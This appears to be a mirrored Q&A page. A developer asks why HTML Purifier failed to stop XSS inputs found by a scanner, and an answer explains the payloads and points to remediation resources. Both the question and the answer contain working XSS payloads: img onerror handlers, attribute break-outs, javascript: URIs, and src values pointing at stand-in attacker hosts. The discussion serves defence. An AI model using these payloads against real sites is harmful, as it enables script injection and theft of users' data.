dp926460 2017-11-15 20:59
浏览 77

即使在使用HTML Purifier之后,XSS漏洞仍然存在

I'm testing one of my web application using Acunetix. To protect this project against XSS attacks, I used HTML Purifier. This library is recommended by most of PHP developers for this purpose, but my scan results shows HTML Purifier can not protect us from XSS attacks completely. The scanner found two ways of attack by sending different harmful inputs:

  1. 1<img sRc='http://attacker-9437/log.php? (See HTML Purifier result here)
  2. 1"onmouseover=vVF3(9185)" (See HTML Purifier result here)

As you can see results, HTML Purifier could not detect such attacks. I don't know if is there any specific option on HTML Purifier to solve such problems, or is it really unable to detect these methods of XSS attacks.
Do you have any idea? Or any other solution?

  • 写回答

2条回答 默认 最新

  • douao1854 2017-11-16 07:31
    关注

    All the HTML purifier seems to be doing, from the brief look that I gave, was HTML encode certain characters such as <, > and so on. However there are other means of invoking JS without using the normal HTML characters:

    javascript:prompt(1)  // In image tags
    src="http://evil.com/xss.html"  // In iFrame tags
    

    Please review comments (by @pinkgothic) below.


    Points below:

    1. This would be HTML injection which does effectively lead to XSS. In this case, you open an <img> tag, point the src to some non-existent file which in turn raises an error. That can then be handled by the onerror handler to run some JavaScript code. Take the following example:

    <img src=x onerror=alert(document.domain)>

    The entrypoint for this it generally accompanied by prematurely closing another tag on an input. For example (URL decoded for clarity):

    GET /products.php?type="><img src=x onerror=prompt(1)> HTTP/1.1
    

    This however, is easily mititgated by HTML escaping meta-character (i.e. <, >).

    1. Same as above, except this could be closing off an HTML attribute instead of a tag and inserting its own attribute. Say you have a page where you can upload the URL for an image:

    <img src="$USER_DEFINED">

    A normal example would be:

    <img src="http://example.com/img.jpg">

    However, inserting the above payload, we cut off the src attribute which points to a non-existent file and inject an onerror handler:

    <img src="1"onerror=alert(document.domain)">

    This executes the same payload mentioned above.


    Remediation

    This is heavily documented and tested in multiple places, so I won't go into detail. However, the following two articles are great on the subject and will cover all your needs:

    1. https://www.acunetix.com/websitesecurity/cross-site-scripting/
    2. https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
    评论

报告相同问题?

悬赏问题

  • ¥15 2020长安杯与连接网探
  • ¥15 关于#matlab#的问题:在模糊控制器中选出线路信息,在simulink中根据线路信息生成速度时间目标曲线(初速度为20m/s,15秒后减为0的速度时间图像)我想问线路信息是什么
  • ¥15 banner广告展示设置多少时间不怎么会消耗用户价值
  • ¥16 mybatis的代理对象无法通过@Autowired装填
  • ¥15 可见光定位matlab仿真
  • ¥15 arduino 四自由度机械臂
  • ¥15 wordpress 产品图片 GIF 没法显示
  • ¥15 求三国群英传pl国战时间的修改方法
  • ¥15 matlab代码代写,需写出详细代码,代价私
  • ¥15 ROS系统搭建请教(跨境电商用途)